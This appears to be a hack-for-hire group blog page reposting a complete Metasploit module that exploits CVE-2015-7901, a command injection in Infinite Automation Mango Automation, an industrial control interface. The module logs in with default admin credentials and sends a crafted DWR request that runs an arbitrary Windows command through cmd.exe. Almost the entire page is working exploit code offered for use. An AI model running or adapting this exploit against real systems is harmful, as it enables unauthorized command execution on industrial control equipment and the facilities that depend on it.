Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863543091

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Infinite Automation Mango Automation Command Injection',
			'Description'    => %q{
				This module exploits a command injection vulnerability found in Infinite
				Automation Systems Mango Automation v2.5.0 - 2.6.0 beta (builds prior to
				430).
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2015-7901' ],
					[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-15-300-02' ]
				],
			'DisclosureDate' => 'Oct 28 2015'))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('TARGETURI', [ false, 'Base path to Mango Automation', '/login.htm']),
				OptString.new('CMD', [ false, 'The OS command to execute', 'calc.exe']),
				OptString.new('USER', [true, 'The username to login with', 'admin']),
				OptString.new('PASS', [true, 'The password to login with', 'admin']),
			], self.class )
	end

	def do_login(user, pass)
		uri =  normalize_uri(target_uri.path)
		
		res = send_request_cgi({
			'method'	=>	'GET',
			'uri'			=>	uri
		})

		if res.nil?
			vprint_error("#{peer} - Connection timed out")
			return :abort
		end

		cookie = res.headers['Set-Cookie']

		print_status("Attempting to login with credentials '#{user}:#{pass}'")

		res = send_request_cgi({
			'method'	=>	'POST',
			'uri'			=>	uri,
			'cookie'	=>	cookie,
			'vars_post'		=>	{
				'username'	=>	user,
				'password'	=>	pass,
			}
		})

		if res.nil?
			vprint_error("#{peer} - Connection timed out")
			return :abort
		end

		location = res.headers['Location']
		if res and res.headers and (location = res.headers['Location']) and location =~ /data_point_details.shtm/
			print_good("#{peer} - Successful login: '#{user}:#{pass}'")
		else
			vprint_error("#{peer} - Bad login: '#{user}:#{pass}'")
			return
		end

		return cookie
		
	end

	def run
		cookie = do_login(datastore['USER'], datastore['PASS'])

		data =  "callCount=1&"
		data << "page=%2Fevent_handlers.shtm&"
		data << "httpSessionId=%0D%0A&"
		data << "scriptSessionId=26D579040C1C11D2E21D1E5F321094E5866&"
		data << "c0-scriptName=EventHandlersDwr&"
		data << "c0-methodName=testProcessCommand&"
		data << "c0-id=0&"
		data << "c0-param0=string:c:\\windows\\system32\\cmd.exe /c #{datastore['CMD']}&"
		data << "c0-param1=string:15&"
		data << "batchId=24"

		res = send_request_raw({
			'method'	=>	'POST',
			'uri'			=>	normalize_uri("dwr", "call", "plaincall", "EventHandlersDwr.testProcessCommand.dwr"),
			'cookie'	=>	cookie.split(";")[0],
			'ctype'		=>	"application/x-www-form-urlencoded",
			'headers'	=>	{
				'Origin'	=>	'null',
				'Upgrade-Insecure-Requests'	=>	1,
				'Connection'	=> "keep-alive"
			},
			'data'	=>	data,
		}, 5)

		if res.body =~ /org.directwebremoting.extend.MarshallException/
			print_error("Something went wrong...")
			puts res.body
		elsif res.body =~ /Check your Tomcat console for process output/
			print_good("Command executed successfully")
		end

	end
end